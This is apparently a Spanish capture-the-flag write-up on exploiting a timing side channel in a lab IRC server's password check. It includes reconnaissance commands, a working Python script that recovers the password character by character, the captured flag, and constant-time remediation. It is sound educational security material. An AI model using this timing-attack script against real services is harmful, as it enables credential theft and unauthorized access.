Objetivo
Explotar una vulnerabilidad de timing en la autenticación de un servidor IRC para descubrir la contraseña carácter a carácter y obtener la flag.
¿Qué es un Timing Attack?
Un timing attack es un ataque de canal lateral (side-channel attack) que explota las diferencias en el tiempo de ejecución de un programa para extraer información secreta.
El escenario clásico ocurre en comparaciones de contraseñas implementadas con un bucle que sale en cuanto encuentra el primer carácter incorrecto:
# Código VULNERABLE def check(attempt, secret): for a, b in zip(attempt, secret): if a != b: return False # Sale al primer error return attempt == secret
Si la contraseña es secret y pruebas xecret, el bucle falla en el primer carácter y sale inmediatamente. Si pruebas secret, compara los 6 caracteres antes de decidir → tarda más. Esa diferencia de tiempo es la que explotamos.
En este lab el delay está amplificado artificialmente (0.5s) para que sea claramente medible, pero el principio es idéntico al de vulnerabilidades reales como Lucky13 (TLS MAC timing) o timing leaks en tokens HMAC.
Flujo de ataque
Paso 1 — Reconocimiento
Comenzamos con un escaneo de puertos para descubrir qué servicios están expuestos:
nmap -sV -p 7000 <LAB_IP>
Resultado esperado:
PORT STATE SERVICE VERSION 7000/tcp open irc GhostLabs IRC 2.11.2p1
El puerto 7000/TCP expone un servidor IRC. No se requieren credenciales previas para conectar.
Paso 2 — Exploración manual del servicio
Usamos nc para conectar directamente al servidor:
nc <LAB_IP> 7000
El servidor responde con un banner IRC-like:
:ghostlabs.irc 001 guest :Welcome to GhostLabs IRC Network :ghostlabs.irc 002 guest :Your host is ghostlabs.irc, running version 2.11.2p1 :ghostlabs.irc NOTICE AUTH :*** This channel requires authentication :ghostlabs.irc NOTICE INFO :Commands: AUTH <password>, FLAG, QUIT
Probamos los comandos disponibles:
FLAG :ghostlabs.irc NOTICE FLAG :*** Not authenticated. Use AUTH <password> first. AUTH test :ghostlabs.irc NOTICE AUTH :*** Authentication failed
Paso 3 — Entendiendo la vulnerabilidad de timing
El servidor compara la contraseña carácter a carácter y aplica un delay de 0.5s en cuanto encuentra un carácter incorrecto. Esto filtra información sobre cuántos caracteres son correctos:
| Intento | Proceso en el servidor | Tiempo | Significado |
|---|---|---|---|
| AUTH a | compara 'a' vs 's' → ERROR → sleep(0.5) | ~0.5s | 1er carácter incorrecto |
| AUTH s | compara 's' vs 's' → OK, longitud != 8 → FAILED sin sleep | ~0ms | 1er carácter CORRECTO |
| AUTH sa | OK, compara 'a' vs '1' → ERROR → sleep(0.5) | ~0.5s | 2o carácter incorrecto |
| AUTH s1 | OK, OK, longitud != 8 → FAILED sin sleep | ~0ms | 2 primeros carácteres CORRECTOS |
| AUTH s1d3ch4n | todos OK + longitud = 8 → SUCCESS | ~0ms | Contraseña completa |
Regla: respuesta rápida (<0.25s) → todos los caracteres probados son correctos. Respuesta lenta (≥0.5s) → hay un carácter incorrecto.
Verificación manual con Python interactivo:
python3
>>> import socket, time
>>> def try_auth(host, port, password):
... with socket.socket() as s:
... s.connect((host, port))
... s.recv(1024)
... s.sendall(f"AUTH {password}
".encode())
... t0 = time.time()
... s.recv(1024)
... return time.time() - t0
...
>>> try_auth("<LAB_IP>", 7000, "a")
0.5021... # lento → incorrecto
>>> try_auth("<LAB_IP>", 7000, "s")
0.0008... # rápido → CORRECTO
Paso 4 — Script de Timing Attack
Con la mecánica clara, automatizamos el proceso. El script prueba cada posición con todos los caracteres del charset y detecta cuál provoca una respuesta rápida:
#!/usr/bin/env python3
import socket, time
# --- IMPORTANTE: Cambia esto por la IP que te dé el laboratorio ---
HOST = "172.17.0.2"
PORT = 7000
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
THRESHOLD = 0.25 # Tiempo límite para decidir si es correcto
def try_auth(password):
try:
with socket.socket() as s:
s.settimeout(2) # Evita que el script se quede colgado
s.connect((HOST, PORT))
s.recv(1024) # Descartar banner inicial
# El error estaba en la siguiente línea (debe estar en una sola)
s.sendall(f"AUTH {password}\n\n".encode())
t0 = time.time()
s.recv(1024)
return time.time() - t0
except Exception as e:
return 1.0 # Si falla la conexión, devolvemos un tiempo alto
def attack():
known = ""
# El lab suele pedir 8 caracteres
while len(known) < 8:
print(f"[*] Posición {len(known)+1}/8 ...")
for c in CHARSET:
elapsed = try_auth(known + c)
# En este lab, si es RÁPIDO (< THRESHOLD), es que el caracter es correcto
if elapsed < THRESHOLD:
known += c
print(f"[+] '{c}' correcto -> password: '{known}'")
break
return known
print("[*] Iniciando ataque de tiempo...")
password = attack()
print(f"\n[+] Contraseña encontrada: {password}")
# Intentar obtener la flag con la contraseña final
print("[*] Solicitando FLAG...")
with socket.socket() as s:
s.connect((HOST, PORT))
s.recv(1024)
s.sendall(f"AUTH {password}\n\n".encode())
print(s.recv(1024).decode().strip())
s.sendall(b"FLAG\n\n")
print(s.recv(1024).decode().strip())
Desglose línea a línea:
| Fragmento | Explicación |
|---|---|
| CHARSET | Caracteres a probar — minuscúsculas + dígitos (36 posibilidades por posición) |
| THRESHOLD = 0.25 | Si la respuesta tarda menos de 0.25s → carácter correcto. Con 0.5s de delay y RTT <5ms en Docker local, el margen es amplio |
| s.recv(1024) (banner) | Descarta el banner IRC antes de medir — si no, el tiempo incluiría la recepción del banner |
| t0 = time.time() | Mide desde el envío de la solicitud AUTH |
| s.recv(1024) (respuesta) | Bloquea hasta recibir la respuesta; en este punto calculamos el tiempo transcurrido |
| if elapsed < THRESHOLD | Detecta respuesta rápida = carácter correcto en esa posición |
| known += c + break | Añade el carácter confirmado y pasa a la siguiente posición |
Output esperado:
[*] Posición 1/8 ... [+] 's' correcto → password hasta ahora: 's' [*] Posición 2/8 ... [+] '1' correcto → password hasta ahora: 's1' [*] Posición 3/8 ... [+] 'd' correcto → password hasta ahora: 's1d' [*] Posición 4/8 ... [+] '3' correcto → password hasta ahora: 's1d3' [*] Posición 5/8 ... [+] 'c' correcto → password hasta ahora: 's1d3c' [*] Posición 6/8 ... [+] 'h' correcto → password hasta ahora: 's1d3ch' [*] Posición 7/8 ... [+] '4' correcto → password hasta ahora: 's1d3ch4' [*] Posición 8/8 ... [+] 'n' correcto → password hasta ahora: 's1d3ch4n' [+] Contraseña encontrada: s1d3ch4n
Paso 5 — Obtener la flag
Con la contraseña descubierta (s1d3ch4n) nos autenticamos y solicitamos la flag:
nc <LAB_IP> 7000
AUTH s1d3ch4n
:ghostlabs.irc NOTICE AUTH :*** Authentication successful
FLAG
:ghostlabs.irc NOTICE FLAG :GhostLabs{t1m1ng_1s_3v3ryth1ng}
Remediación
El problema es la comparación en tiempo NO constante: el bucle sale al primer error, por lo que el tiempo de respuesta varía con el número de caracteres correctos. La solución es usar una comparación en tiempo constante que siempre procese todos los bytes independientemente de dónde esté el primer error:
# VULNERABLE — sale al primer error (tiempo variable) def check_bad(attempt, secret): for a, b in zip(attempt, secret): if a != b: return False return attempt == secret # SEGURO — tiempo constante, no filtra información import hmac def check_good(attempt, secret): return hmac.compare_digest(attempt.encode(), secret.encode())
hmac.compare_digest() usa XOR acumulativo sobre todos los bytes. El resultado es correcto pero el tiempo de ejecución no varía con el número de caracteres coincidentes.